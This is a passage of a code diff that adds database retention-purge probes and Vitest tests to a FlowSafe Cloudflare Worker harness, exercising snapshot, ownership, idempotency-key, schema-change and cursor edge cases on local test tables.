await capability.withInitialAdmission( + { + execution, + attemptToken: 'correlation', + startIdentity, + fence, + runOwnerGuard: { owner: E_OWNER, reservationToken: 'correlation' }, + requestContext: { + runId, + 'breakwater.workflowScope': execution.workflowId, + 'flowsafe.runProvenance': { + version: 2, + startToken: execution.startToken, + attemptToken: 'correlation', + startIdentity, + requestedBy: E_START.owner.id, + requestedByKind: E_START.owner.kind, + resumeCounts: [], + }, + }, + onInitialWriteAttempt: () => {}, + }, + () => + domain.persistWorkflowSnapshot({ + workflowName: execution.workflowId, + runId, + snapshot: { + ...createEmptyWorkflowSnapshot(runId), + status: 'pending', + }, + }), + ); + admission = { execution: admitted.witness.execution }; + } catch (error) { + definitive = isDefinitiveInitialAdmissionRefusal(error, execution); + admission = { + error: String(error), + reason: (error as { reason?: unknown }).reason, + }; + } + }; + const advances: RunRetentionCursor[] = []; + const purged = await purgeExpiredWorkflowRuns(db, { + ...retentionOptions(advances), + resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, + ...(order === 'admission-first' + ? { + artifactStore: { + deleteRun: async () => { + await admit(); + return 0; + }, + }, + } + : {}), + }); + if (order === 'purge-first') await admit(); + return { + claimed, + reserved, + beforeOwner, + purged, + advances, + admission, + definitive, + owner: (await resources.owner('run', runId)) ?? null, + snapshots: ( + await db + .prepare( + `SELECT workflow_name, run_id, snapshot FROM ${E_TABLE} ORDER BY workflow_name`, + ) + .all() + ).results, + }; +} + +async function siblingOwnerRetentionProbe(db: D1Database) { + await createSnapshotTable(db, E_PREFIX); + await createSnapshotTable(db, `${E_PREFIX}sibling_`); + const resources = new D1ResourceOwnershipStore(db); + const runs = ['reserved', 'cross-workflow', 'malformed-sibling', 'unshared']; + for (const name of runs) { + const runId = `e-retention-${name}`; + if (name === 'reserved') + await resources.reserveAll( + [{ kind: 'run', resourceId: runId }], + E_OWNER, + 'held-reservation', + ); + else await resources.claim('run', runId, E_OWNER); + await insertRetentionSnapshot(db, runId).run(); + } + await insertRetentionSnapshot( + db, + 'e-retention-cross-workflow', + { status: 'running' }, + E_PREFIX, + 'other-workflow', + ).run(); + await insertRetentionSnapshot( + db, + 'e-retention-malformed-sibling', + '{not-json', + `${E_PREFIX}sibling_`, + 'other-workflow', + ).run(); + const advances: RunRetentionCursor[] = []; + const purged = await purgeExpiredWorkflowRuns(db, { + ...retentionOptions(advances), + resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, + }); + return { + purged, + advances, + owners: ( + await db + .prepare( + `SELECT resource_id, owner_id, reservation_token FROM ${RESOURCE_OWNERSHIP_TABLE} WHERE resource_id GLOB 'e-retention-*' ORDER BY resource_id`, + ) + .all() + ).results, + sibling: ( + await db + .prepare( + `SELECT run_id, snapshot FROM ${E_PREFIX}sibling_mastra_workflow_snapshot`, + ) + .all() + ).results, + snapshots: ( + await db.prepare(`SELECT workflow_name, run_id FROM ${E_TABLE}`).all() + ).results, + }; +} + +async function bindingRetentionProbe(db: D1Database) { + await createSnapshotTable(db, E_PREFIX); + await createRetentionKeys(db); + const runId = 'e-retention-binding'; + await new D1ResourceOwnershipStore(db).claim('run', runId, E_OWNER); + await insertRetentionSnapshot(db, runId).run(); + const cases: Record> = { + 'alias-expired': {}, + 'alias-recent': { updated_at: NOW }, + 'alias-started': { state: 'started' }, + 'other-token': { state: 'started', start_token: 'other' }, + 'other-prefix': { state: 'started', start_table_prefix: 'other_' }, + 'other-workflow': { state: 'started', start_workflow_id: 'other' }, + 'other-owner': { state: 'started', owner_id: 'Other' }, + 'other-owner-kind': { state: 'started', owner_kind: 'service' }, + 'other-target': { state: 'started', target_id: 'other' }, + 'other-target-kind': { + state: 'started', + target_kind: 'workflow', + thread_id: null, + }, + 'other-thread': { state: 'started', thread_id: 'other' }, + 'legacy-started': { + state: 'started', + start_token: null, + start_table_prefix: null, + start_workflow_id: null, + }, + 'unbound-started': { + state: 'started', + start_token: '', + start_table_prefix: null, + start_workflow_id: null, + }, + 'unbound-terminal': { + start_token: '', + start_table_prefix: null, + start_workflow_id: null, + }, + 'null-started': { state: 'started', start_table_prefix: null }, + 'null-terminal': { start_table_prefix: null }, + }; + await db.batch( + Object.entries(cases).map(([key, patch]) => + insertRetentionKey(db, key, runId, patch), + ), + ); + const before = await retentionState(db); + const advances: RunRetentionCursor[] = []; + const purged = await purgeExpiredWorkflowRuns(db, { + ...retentionOptions(advances), + resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, + startIdempotencyTable: E_KEYS, + }); + return { purged, advances, before, after: await retentionState(db) }; +} + +async function orphanRetentionProbe( + db: D1Database, + stage: number | 'replacement' | 'absent', +) { + if (stage !== 'absent') await createSnapshotTable(db, E_PREFIX); + await createRetentionKeys(db, typeof stage === 'number' ? stage : 3); + const advances: RunRetentionCursor[] = []; + if (typeof stage === 'number') { + await insertRetentionSnapshot( + db, + 'e-retention-present', + '{malformed', + ).run(); + const legacy = Object.fromEntries( + ['start_token', 'start_table_prefix'] + .slice(0, stage) + .map((key) => [key, null]), + ); + await db.batch([ + insertRetentionKey( + db, + 'legacy-present', + 'e-retention-present', + legacy, + stage, + ), + insertRetentionKey( + db, + 'legacy-orphan', + 'e-retention-absent', + legacy, + stage, + ), + ...(stage > 0 + ? [ + insertRetentionKey( + db, + 'partial-nonnull', + 'e-retention-ambiguous', + { ...legacy, start_token: 'non-null' }, + stage, + ), + ] + : []), + ]); + const before = ( + await db.prepare(`SELECT * FROM ${E_KEYS} ORDER BY key`).all() + ).results; + const purged = await purgeExpiredWorkflowRuns(db, { + ...retentionOptions(advances), + startIdempotencyTable: E_KEYS, + }); + return { + purged, + advances, + before, + keys: (await db.prepare(`SELECT * FROM ${E_KEYS} ORDER BY key`).all()) + .results, + }; + } + await insertRetentionKey(db, 'orphan-key', 'e-retention-orphan').run(); + if (stage === 'absent') { + const purged = await purgeExpiredWorkflowRuns(db, { + ...retentionOptions(advances), + startIdempotencyTable: E_KEYS, + }); + return { + purged, + advances, + keys: (await db.prepare(`SELECT * FROM ${E_KEYS}`).all()).results, + }; + } + const replacement = { + ...retentionSnapshot('generation-two'), + status: 'running', + }; + await insertRetentionSnapshot(db, 'e-retention-orphan', replacement).run(); + let held = 0; + const measured = measuredRetentionDatabase(db, async () => { + held += 1; + await db + .prepare(`UPDATE ${E_TABLE} SET snapshot = ?`) + .bind(JSON.stringify({ ...retentionSnapshot(), status: 'running' })) + .run(); + }); + const first = await purgeExpiredWorkflowRuns(measured.database, { + ...retentionOptions(advances), + startIdempotencyTable: E_KEYS, + }); + const heldKeys = (await db.prepare(`SELECT * FROM ${E_KEYS}`).all()).results; + await db + .prepare(`UPDATE ${E_TABLE} SET snapshot = ?`) + .bind(JSON.stringify(replacement)) + .run(); + const second = await purgeExpiredWorkflowRuns(db, { + ...retentionOptions(advances), + startIdempotencyTable: E_KEYS, + }); + return { + first, + second, + held, + heldKeys, + advances, + keys: (await db.prepare(`SELECT * FROM ${E_KEYS}`).all()).results, + snapshot: await db.prepare(`SELECT snapshot FROM ${E_TABLE}`).first(), + }; +} + +function maximalRetentionSnapshot( + token: string, + ownerId = '😀'.repeat(100), + capsuleBytes = 4096, +) { + const snapshot = retentionSnapshot(token); + const provenance = snapshot.requestContext['flowsafe.runProvenance']; + provenance.startIdentity = { + owner: { kind: 'human', id: ownerId }, + target: { kind: 'agent', id: 'a'.repeat(200), threadId: 't'.repeat(200) }, + }; + const startIdentity = { ...provenance.startIdentity, padding: '' }; + const ownedBytes = () => + [2, token, startIdentity, provenance.agentStart].reduce( + (sum, value) => sum + encoder.encode(JSON.stringify(value)).length, + 0, + ); + const remainder = capsuleBytes - ownedBytes(); + if (remainder < 0) throw new Error('capsule fixture exceeds requested size'); + startIdentity.padding = + '\\'.repeat(Math.floor(remainder / 2)) + 'x'.repeat(remainder % 2); + provenance.startIdentity = startIdentity; + if (ownedBytes() !== capsuleBytes) + throw new Error('capsule byte fixture is inconsistent'); + return snapshot; +} + +async function setupMaximumRetentionProbe( + db: D1Database, + mode: 'modern' | 'legacy', +) { + await createSnapshotTable(db, E_PREFIX); + await createRetentionKeys(db); + const census = await db + .prepare( + `SELECT name FROM sqlite_schema WHERE type IN ('table', 'view') AND lower(name) GLOB '*mastra_workflow_snapshot' ORDER BY lower(name)`, + ) + .all<{ name: string }>(); + const preexistingNamespaces = census.results.length - 1; + if (census.results.length > 64) + throw new Error('harness census already exceeds retention limit'); + const prefixes = [E_PREFIX]; + for (let index = census.results.length; index < 64; index += 1) { + const prefix = `${E_PREFIX}namespace_${index}_`.padEnd(39, '_'); + await createSnapshotTable(db, prefix); + prefixes.push(prefix); + } + const resources = new D1ResourceOwnershipStore(db); + await resources.claim('run', 'e-retention-bootstrap', E_OWNER); + await db + .prepare( + `DELETE FROM ${RESOURCE_OWNERSHIP_TABLE} WHERE resource_id = 'e-retention-bootstrap'`, + ) + .run(); + const statements: D1PreparedStatement[] = []; + let maxSnapshotBytes = 0; + for (let index = 0; index < 90; index += 1) { + const suffix = String(index).padStart(3, '0'); + const runId = `e-retention-${suffix}`.padEnd(200, 'r'); + const workflowId = `workflow-${suffix}`.padEnd(200, 'w'); + const token = `generation-${suffix}`.padEnd(200, 's'); + const snapshot = { + ...(mode === 'modern' + ? maximalRetentionSnapshot(token, '\\'.repeat(200)) + : { status: 'success' }), + unrelated: 'x'.repeat(index === 0 ? 1_900_000 : 10_000), + }; + maxSnapshotBytes = Math.max( + maxSnapshotBytes, + encoder.encode(JSON.stringify(snapshot)).length, + ); + statements.push( + insertRetentionSnapshot(db, runId, snapshot, E_PREFIX, workflowId), + db + .prepare( + `INSERT INTO ${RESOURCE_OWNERSHIP_TABLE} (resource_kind, resource_id, owner_kind, owner_id) VALUES ('run', ?, 'human', ?)`, + ) + .bind(runId, E_OWNER.id), + insertRetentionKey( + db, + `orphan-${suffix}`, + `e-retention-orphan-${suffix}`, + { start_table_prefix: prefixes[index % prefixes.length] as string }, + ), + ); + } + // Orphan rows precede aliases so the same invocation exercises both full pages. + for (let index = 0; index < statements.length; index += 20) + await db.batch(statements.slice(index, index + 20)); + if (mode === 'modern') { + const aliases = Array.from({ length: 90 }, (_, index) => { + const suffix = String(index).padStart(3, '0'); + return insertRetentionKey( + db, + `alias-${suffix}`, + `e-retention-${suffix}`.padEnd(200, 'r'), + { + start_token: `generation-${suffix}`.padEnd(200, 's'), + start_workflow_id: `workflow-${suffix}`.padEnd(200, 'w'), + owner_id: '\\'.repeat(200), + target_id: 'a'.repeat(200), + thread_id: 't'.repeat(200), + state: 'started', + }, + ); + }); + for (let index = 0; index < aliases.length; index += 20) + await db.batch(aliases.slice(index, index + 20)); + } + const siblingPrefix = prefixes.at(-1); + if (!siblingPrefix || siblingPrefix === E_PREFIX) + throw new Error('maximum fixture requires a separate namespace'); + await insertRetentionSnapshot( + db, + 'e-retention-089'.padEnd(200, 'r'), + '{malformed', + siblingPrefix, + ).run(); + return { + namespaces: 64, + preexistingNamespaces, + createdNamespaces: prefixes.length, + rows: 90, + maxSnapshotBytes, + capsuleBytes: mode === 'modern' ? 4096 : null, + ownerUtf16Units: mode === 'modern' ? 200 : null, + }; +} + +async function maximumRetentionProbe(db: D1Database, retry = false) { + const measured = measuredRetentionDatabase(db); + const advances: RunRetentionCursor[] = []; + const started = performance.now(); + let purged: number | undefined; + let error: string | undefined; + let artifacts = 0; + try { + purged = await purgeExpiredWorkflowRuns(measured.database, { + ...retentionOptions(advances), + resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, + startIdempotencyTable: E_KEYS, + limit: 90, + ...(retry + ? { + artifactStore: { + deleteRun: async () => { + artifacts += 1; + if (artifacts === 1) { + const namespace = await db + .prepare( + `SELECT name FROM sqlite_schema WHERE type = 'table' AND name GLOB 'e_retention_namespace_*mastra_workflow_snapshot' ORDER BY name LIMIT 1`, + ) + .first<{ name: string }>(); + if ( + !namespace || + !/^e_retention_namespace_[a-z0-9_]+$/.test(namespace.name) + ) + throw new Error('retry fixture namespace missing'); + await db + .prepare( + `ALTER TABLE "${namespace.name}" RENAME TO ${E_PREFIX}retry_mastra_workflow_snapshot`, + ) + .run(); + } + return 0; + }, + }, + } + : {}), + }); + } catch (caught) { + error = String(caught); + } + const elapsedMs = performance.now() - started; + const [snapshots, keys, owners, census] = await Promise.all([ + db.prepare(`SELECT count(*) AS count FROM ${E_TABLE}`).first(), + db + .prepare(`SELECT key, state, updated_at FROM ${E_KEYS} ORDER BY key`) + .all(), + db + .prepare( + `SELECT resource_id, owner_id FROM ${RESOURCE_OWNERSHIP_TABLE} WHERE resource_id GLOB 'e-retention-*'`, + ) + .all(), + db + .prepare( + `SELECT count(*) AS count FROM sqlite_schema WHERE type IN ('table', 'view') AND lower(name) GLOB '*mastra_workflow_snapshot'`, + ) + .first(), + ]); + return { + purged, + error, + advances, + artifacts, + metrics: measured.metrics, + elapsedMs, + snapshots, + keys: keys.results, + owners: owners.results, + census, + }; +} + +async function overflowRetentionProbe(db: D1Database) { + const countState = async () => { + const rows = await db.batch([ + db.prepare(`SELECT count(*) AS count FROM ${E_TABLE}`), + db.prepare(`SELECT count(*) AS count FROM ${E_KEYS}`), + db.prepare( + `SELECT count(*) AS count FROM ${RESOURCE_OWNERSHIP_TABLE} WHERE resource_id GLOB 'e-retention-*'`, + ), + ]); + return rows.map(({ results }) => results); + }; + const before = await countState(); + await createSnapshotTable(db, `${E_PREFIX}overflow_`); + const advances: RunRetentionCursor[] = []; + let artifacts = 0; + let error: string | undefined; + try { + await purgeExpiredWorkflowRuns(db, { + ...retentionOptions(advances), + resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, + startIdempotencyTable: E_KEYS, + artifactStore: { + deleteRun: async () => { + artifacts += 1; + return 0; + }, + }, + }); + } catch (caught) { + error = String(caught); + } finally { + await db + .prepare(`DROP TABLE ${E_PREFIX}overflow_mastra_workflow_snapshot`) + .run(); + } + return { error, artifacts, advances, before, after: await countState() }; +} + +async function limitsRetentionProbe(db: D1Database) { + await createSnapshotTable(db, E_PREFIX); + await createRetentionKeys(db); + await db.batch([ + insertRetentionKey(db, 'k'.repeat(4096), 'e-retention-oversize-key', { + start_token: null, + start_table_prefix: null, + start_workflow_id: null, + }), + insertRetentionKey(db, 'short-orphan', 'e-retention-key-orphan', { + start_token: null, + start_table_prefix: null, + start_workflow_id: null, + }), + ]); + const longRegistry = `${E_PREFIX}registry_${'r'.repeat(70)}`; + await db.prepare(`ALTER TABLE ${E_KEYS} RENAME TO ${longRegistry}`).run(); + const cases = [ + [ + 'capsule-boundary', + maximalRetentionSnapshot('generation', '😀'.repeat(100), 4096), + ], + [ + 'capsule-overflow', + maximalRetentionSnapshot('generation', '😀'.repeat(100), 4097), + ], + [ + 'utf16-overflow', + maximalRetentionSnapshot('generation', `${'😀'.repeat(100)}x`, 4096), + ], + ['unpaired-legacy', { status: 'success' }], + ] as const; + await db.batch( + cases.map(([name, snapshot]) => + insertRetentionSnapshot(db, `e-retention-${name}`, snapshot), + ), + ); + const measured = measuredRetentionDatabase(db); + const advances: RunRetentionCursor[] = []; + const artifacts: string[] = []; + const purged = await purgeExpiredWorkflowRuns(measured.database, { + ...retentionOptions(advances), + startIdempotencyTable: longRegistry, + artifactStore: { + deleteRun: async (_workflow, runId) => { + artifacts.push(runId); + return 0; + }, + }, + }); + return { + purged, + advances, + artifacts, + registryLength: longRegistry.length, + remainingKeyLengths: ( + await db + .prepare(`SELECT length(key) AS length FROM ${longRegistry}`) + .all() + ).results, + metrics: measured.metrics, + remaining: ( + await db.prepare(`SELECT run_id FROM ${E_TABLE} ORDER BY run_id`).all() + ).results, + }; +} + +async function progressRetentionProbe(db: D1Database) { + await createSnapshotTable(db, E_PREFIX); + await db.batch( + Array.from({ length: 93 }, (_, index) => + insertRetentionSnapshot( + db, + `e-retention-progress-${index}`, + index < 91 + ? maximalRetentionSnapshot('generation', 'owner', 4097) + : retentionSnapshot(), + ), + ), + ); + await db + .prepare( + `CREATE TABLE ${E_PREFIX}cursor (id INTEGER PRIMARY KEY, value TEXT NOT NULL)`, + ) + .run(); + const pages: Array<{ + purged?: number; + error?: string; + cursor: RunRetentionCursor; + }> = []; + let artifactFailures = 0; + const invoke = async () => { + const stored = await db + .prepare(`SELECT value FROM ${E_PREFIX}cursor WHERE id = 1`) + .first<{ value: string }>(); + const options = { + ...retentionOptions([]), + ...(stored + ? { cursor: JSON.parse(stored.value) as RunRetentionCursor } + : {}), + limit: 90, + advanceCursor: async (cursor: RunRetentionCursor) => { + await db.batch([ + db + .prepare( + `INSERT INTO ${E_PREFIX}cursor VALUES (1, ?) ON CONFLICT(id) DO UPDATE SET value = excluded.value`, + ) + .bind(JSON.stringify(cursor)), + ]); + }, + artifactStore: { + deleteRun: async (_workflow: string, runId: string) => { + if (runId === 'e-retention-progress-91' && artifactFailures === 0) { + artifactFailures += 1; + throw Object.create(null); + } + return 0; + }, + }, + }; + let purged: number | undefined; + let error: string | undefined; + try { + purged = await purgeExpiredWorkflowRuns(db, options); + } catch (caught) { + error = String(caught); + } + const checkpoint = await db + .prepare(`SELECT value FROM ${E_PREFIX}cursor WHERE id = 1`) + .first<{ value: string }>(); + if (!checkpoint) throw new Error('retention cursor was not persisted'); + pages.push({ purged, error, cursor: JSON.parse(checkpoint.value) }); + }; + await invoke(); + await insertRetentionSnapshot(db, 'e-retention-progress-new').run(); + await invoke(); + const afterFirstCycle = ( + await db + .prepare( + `SELECT run_id FROM ${E_TABLE} WHERE run_id IN ('e-retention-progress-91', 'e-retention-progress-92', 'e-retention-progress-new') ORDER BY run_id`, + ) + .all() + ).results; + await invoke(); + await invoke(); + const remainingEligible = ( + await db + .prepare( + `SELECT run_id FROM ${E_TABLE} WHERE run_id IN ('e-retention-progress-91', 'e-retention-progress-92', 'e-retention-progress-new')`, + ) + .all() + ).results; + return { pages, artifactFailures, afterFirstCycle, remainingEligible }; +} + +async function eRetentionProbe( + db: D1Database, + scenario: string, + action: string | undefined, +) { + if (scenario === 'cleanup') return cleanupRetentionProbe(db); + if (scenario === 'maximum-modern' || scenario === 'maximum-legacy') { + if (action === 'setup') + return setupMaximumRetentionProbe( + db, + scenario === 'maximum-modern' ? 'modern' : 'legacy', + ); + if (action === 'exercise') return maximumRetentionProbe(db); + if (action === 'exercise-retry') return maximumRetentionProbe(db, true); + if (action === 'overflow') return overflowRetentionProbe(db); + throw new Error('maximum retention scenario requires setup or exercise'); + } + try { + if ( + (scenario === 'cleanup-time-modern' || + scenario === 'cleanup-time-legacy') && + (action === 'initial' || + action === 'held' || + (scenario === 'cleanup-time-legacy' && action === 'reread')) + ) + return await cleanupTimestampRetentionProbe( + db, + scenario === 'cleanup-time-modern' ? 'modern' : 'legacy', + action, + ); + if ( + scenario === 'duplicate-eligibility' && + (action === 'initial' || action === 'held') + ) + return await duplicateEligibilityRetentionProbe(db, action); + if ( + [ + 'generation', + 'capsule', + 'boolean', + 'null', + 'duplicate', + 'legacy', + 'eligibility', + 'schema', + 'schema-churn', + 'reservation-schema', + 'schema-view', + ].includes(scenario) + ) + return await heldRetentionProbe(db, scenario); + if (scenario === 'purge-first' || scenario === 'admission-first') + return await ownerAdmissionRetentionProbe(db, scenario); + if (scenario === 'siblings') return await siblingOwnerRetentionProbe(db); + if (scenario === 'bindings') return await bindingRetentionProbe(db); + if (scenario === 'orphan-replacement') + return await orphanRetentionProbe(db, 'replacement'); + if (scenario === 'orphan-absent') + return await orphanRetentionProbe(db, 'absent'); + if ( + scenario === 'partial-0' || + scenario === 'partial-1' || + scenario === 'partial-2' + ) + return await orphanRetentionProbe(db, Number(scenario.at(-1))); + if (scenario === 'limits') return await limitsRetentionProbe(db); + if (scenario === 'progress') return await progressRetentionProbe(db); + throw new Error('unknown retention scenario'); + } finally { + await cleanupRetentionProbe(db); + } +} + const handler = { async fetch(request: Request, env: Env): Promise { try { @@ -584,6 +2063,12 @@ const handler = { await seedDeploymentIdentity(env.DB, 'spike', 'open'); return Response.json({ ok: true }); } + if (path.startsWith('/retention-e/')) { + const [, , scenario, action] = path.split('/'); + return Response.json( + await eRetentionProbe(env.DB, scenario ?? '', action), + ); + } const result = path === '/approval' ? await approvalProbe(env.DB) diff --git a/scripts/flowsafe-harness.test.ts b/scripts/flowsafe-harness.test.ts index 761c870e..1eb3bec3 100644 --- a/scripts/flowsafe-harness.test.ts +++ b/scripts/flowsafe-harness.test.ts @@ -91,6 +91,55 @@ async function result(worker: WorkerHandle, path: string): Promise { return JSON.parse(body) as T; } +interface RetentionCursor { + version: 1; + tablePrefix: string; + startIdempotencyTable?: string; + snapshots?: { afterRowId: number; highWaterRowId: number }; + reservations?: { afterRowId: number; highWaterRowId: number }; +} + +interface RetentionState { + snapshots: Array<{ + workflow_name: string; + run_id: string; + snapshot: string; + updatedAt: string; + }>; + keys: Array>; + owners: Array>; +} + +interface RetentionMetrics { + statements: number; + batches: number; + maxSqlBytes: number; + maxBindings: number; + maxBoundStringBytes: number; + maxSelectorBytes: number; + maxResultBytes: number; + rowsRead: number; + rowsWritten: number; + sqlDurationMs: number; +} + +interface HeldRetentionResult { + purged?: number; + error?: string; + artifacts: number; + advances: RetentionCursor[]; + intervened: RetentionState; + after: RetentionState; + metrics: RetentionMetrics; +} + +const RETENTION_NOW = Date.parse('2026-08-10T12:00:00.000Z'); +const RETENTION_SCOPE = { + version: 1, + tablePrefix: 'e_retention_', + startIdempotencyTable: 'e_retention_start_requests', +}; + describe.sequential('FlowSafe Wrangler test harness', () => { let server: TestHarness; let spike: WorkerHandle; @@ -103,7 +152,14 @@ describe.sequential('FlowSafe Wrangler test harness', () => { await server.listen(); }); - beforeEach(async () => { + beforeEach(async ({ task }) => { + if (task.name.startsWith('FS8 E retention')) { + // Scenario cleanup preserves the surrounding namespace census across requests. + probe = server.getWorker('flowsafe-harness-probe'); + await result(probe, '/seed'); + await result(probe, '/retention-e/cleanup'); + return; + } await server.reset(); spike = server.getWorker('flowsafe-do-runner-demo'); deploy = server.getWorker('anchorage-flowsafe-replace-me'); @@ -430,4 +486,660 @@ describe.sequential('FlowSafe Wrangler test harness', () => { orphans: [], }); }); + + it.each([ + 'generation', + 'capsule', + 'boolean', + 'null', + 'duplicate', + 'legacy', + 'eligibility', + ])('FS8 E retention preserves a held %s replacement and its owner/key while advancing', async (scenario) => { + const outcome = await result( + probe, + `/retention-e/${scenario}`, + ); + expect(outcome.error).toBeUndefined(); + expect(outcome.purged).toBe(0); + expect(outcome.artifacts).toBe(1); + expect(outcome.intervened.snapshots).toHaveLength(1); + expect(outcome.after).toEqual(outcome.intervened); + expect(outcome.after.keys[0]).toMatchObject({ + key: 'held-key', + state: 'started', + start_token: 'generation-one', + }); + expect(outcome.advances.at(-1)).toEqual(RETENTION_SCOPE); + }); + + it.each([ + 'initial', + 'held', + ])('FS8 E retention preserves ambiguous eligibility at %s observation and deletes ordinary controls', async (phase) => { + const outcome = await result<{ + cases: Array<{ + variant: string; + runId: string; + snapshot: string; + sqlEligibility: { status: string; cleanup: number | null }; + }>; + purged: number; + artifacts: string[]; + advances: RetentionCursor[]; + before: RetentionState; + after: RetentionState; + metrics: RetentionMetrics; + }>(probe, `/retention-e/duplicate-eligibility/${phase}`); + expect(outcome.cases.map(({ variant }) => variant)).toEqual([ + 'status', + 'escaped-status', + 'request-context', + 'lifecycle', + 'terminal', + 'cleanup', + 'success-control', + 'cleanup-control', + ]); + const controls = new Set([ + 'e-retention-eligibility-success-control', + 'e-retention-eligibility-cleanup-control', + ]); + for (const candidate of outcome.cases) { + const decoded = JSON.parse(candidate.snapshot); + expect(candidate.sqlEligibility).toEqual({ + status: + candidate.variant === 'status' || + candidate.variant === 'escaped-status' || + candidate.variant === 'success-control' + ? 'success' + : 'cancelled', + cleanup: 1, + }); + if (!controls.has(candidate.runId)) { + if ( + candidate.variant === 'status' || + candidate.variant === 'escaped-status' + ) + expect(decoded.status).toBe('running'); + else + expect( + decoded.requestContext['flowsafe.runLifecycle'].terminal + .cleanupCompletedAt, + ).toBeNull(); + } + expect(decoded.requestContext['flowsafe.runProvenance'].startToken).toBe( + 'generation-one', + ); + } + const replacements = new Map( + outcome.cases.map(({ runId, snapshot }) => [runId, snapshot]), + ); + expect(outcome.purged).toBe(controls.size); + expect(outcome.artifacts.slice().sort()).toEqual( + (phase === 'held' + ? outcome.cases.map(({ runId }) => runId) + : [...controls] + ).sort(), + ); + expect(outcome.after).toEqual({ + snapshots: outcome.before.snapshots + .filter(({ run_id }) => !controls.has(run_id)) + .map((row) => ({ + ...row, + snapshot: replacements.get(row.run_id), + })), + owners: outcome.before.owners.filter( + ({ resource_id }) => !controls.has(String(resource_id)), + ), + keys: outcome.before.keys + .filter( + ({ run_id, state }) => + !controls.has(String(run_id)) || state === 'started', + ) + .map((row) => + controls.has(String(row.run_id)) + ? { ...row, state: 'terminal', updated_at: RETENTION_NOW } + : row, + ), + }); + expect(outcome.advances.at(-1)).toEqual(RETENTION_SCOPE); + expect(outcome.metrics.statements).toBeLessThan(100); + expect(outcome.metrics.maxSqlBytes).toBeLessThanOrEqual(90_000); + expect(outcome.metrics.maxBindings).toBeLessThanOrEqual(100); + }); + + it.each([ + { format: 'modern', phase: 'initial' }, + { format: 'modern', phase: 'held' }, + { format: 'legacy', phase: 'initial' }, + { format: 'legacy', phase: 'held' }, + { format: 'legacy', phase: 'reread' }, + ])('FS8 E retention validates cleanup timestamps for $format snapshots at $phase observation', async ({ + format, + phase, + }) => { + const outcome = await result<{ + cases: Array<{ + variant: string; + runId: string; + snapshot: string; + accepted: boolean; + sqlType: string; + }>; + purged: number; + artifacts: string[]; + rawReads: string[]; + advances: RetentionCursor[]; + before: RetentionState; + after: RetentionState; + metrics: RetentionMetrics; + }>(probe, `/retention-e/cleanup-time-${format}/${phase}`); + expect(outcome.cases.map(({ variant }) => variant)).toEqual([ + 'boolean', + 'string', + 'object', + 'negative', + 'fractional', + 'unsafe', + 'infinite', + 'zero-control', + 'real-control', + 'exponent-control', + 'safe-max-control', + ]); + expect( + outcome.cases.map( + ({ snapshot }) => + JSON.parse(snapshot).requestContext['flowsafe.runLifecycle'].terminal + .cleanupCompletedAt, + ), + ).toEqual([ + false, + 'done', + {}, + -1, + 0.5, + 9007199254740992, + Number.POSITIVE_INFINITY, + 0, + 1, + 1, + Number.MAX_SAFE_INTEGER, + ]); + expect(outcome.cases.map(({ sqlType }) => sqlType)).toEqual([ + 'false', + 'text', + 'object', + 'integer', + 'real', + 'integer', + 'real', + 'integer', + 'real', + 'real', + 'integer', + ]); + const controls = new Set([ + 'e-retention-time-zero-control', + 'e-retention-time-real-control', + 'e-retention-time-exponent-control', + 'e-retention-time-safe-max-control', + ]); + for (const candidate of outcome.cases) + expect(candidate.accepted).toBe(controls.has(candidate.runId)); + const runIds = outcome.cases.map(({ runId }) => runId); + expect(outcome.purged).toBe(controls.size); + expect(outcome.artifacts.slice().sort()).toEqual( + (phase === 'held' ? runIds.slice() : [...controls]).sort(), + ); + expect(outcome.rawReads.slice().sort()).toEqual( + (format === 'modern' + ? [] + : phase === 'initial' + ? [...controls] + : runIds.slice() + ).sort(), + ); + const replacements = new Map( + outcome.cases.map(({ runId, snapshot }) => [runId, snapshot]), + ); + expect(outcome.after).toEqual({ + snapshots: outcome.before.snapshots + .filter(({ run_id }) => !controls.has(run_id)) + .map((row) => ({ ...row, snapshot: replacements.get(row.run_id) })), + owners: outcome.before.owners.filter( + ({ resource_id }) => !controls.has(String(resource_id)), + ), + keys: outcome.before.keys + .filter( + ({ run_id, state }) => + !controls.has(String(run_id)) || state === 'started', + ) + .map((row) => + format === 'modern' && controls.has(String(row.run_id)) + ? { ...row, state: 'terminal', updated_at: RETENTION_NOW } + : row, + ), + }); + expect(outcome.advances.at(-1)).toEqual(RETENTION_SCOPE); + expect(outcome.metrics.statements).toBeLessThan(100); + expect(outcome.metrics.maxSqlBytes).toBeLessThanOrEqual(90_000); + expect(outcome.metrics.maxBindings).toBeLessThanOrEqual(100); + }); + + it('FS8 E retention retries a changed namespace census and retains a malformed sibling owner', async () => { + const outcome = await result( + probe, + '/retention-e/schema', + ); + expect(outcome.error).toBeUndefined(); + expect(outcome.purged).toBe(1); + expect(outcome.artifacts).toBe(1); + expect(outcome.after.snapshots).toEqual([]); + expect(outcome.after.owners).toEqual(outcome.intervened.owners); + expect(outcome.after.keys[0]).toMatchObject({ + state: 'terminal', + updated_at: RETENTION_NOW, + }); + expect(outcome.advances.at(-1)).toEqual(RETENTION_SCOPE); + expect(outcome.metrics.batches).toBeGreaterThanOrEqual(2); + console.info( + 'FS8 E retention schema-retry measurement', + JSON.stringify(outcome.metrics), + ); + }); + + it('FS8 E retention pairs a reservation table created during the held artifact callback', async () => { + const outcome = await result( + probe, + '/retention-e/reservation-schema', + ); + expect(outcome.error).toBeUndefined(); + expect(outcome.purged).toBe(1); + expect(outcome.artifacts).toBe(1); + expect(outcome.intervened.keys[0]?.state).toBe('started'); + expect(outcome.after.keys).toEqual([ + { + ...outcome.intervened.keys[0], + state: 'terminal', + updated_at: RETENTION_NOW, + }, + ]); + expect(outcome.after.snapshots).toEqual([]); + expect(outcome.after.owners).toEqual([]); + expect(outcome.advances.at(-1)).toEqual(RETENTION_SCOPE); + }); + + it.each([ + 'schema-churn', + 'schema-view', + ])('FS8 E retention refuses %s without false progress or state loss', async (scenario) => { + const outcome = await result( + probe, + `/retention-e/${scenario}`, + ); + expect(outcome.error).toMatch(/schema|namespace|view/i); + expect(outcome.purged).toBeUndefined(); + expect(outcome.artifacts).toBe(1); + expect(outcome.advances).toEqual([]); + expect(outcome.after).toEqual(outcome.intervened); + }); + + it.each([ + 'purge-first', + 'admission-first', + ])('FS8 E retention orders %s against actual reused committed-owner admission', async (order) => { + const outcome = await result<{ + claimed: 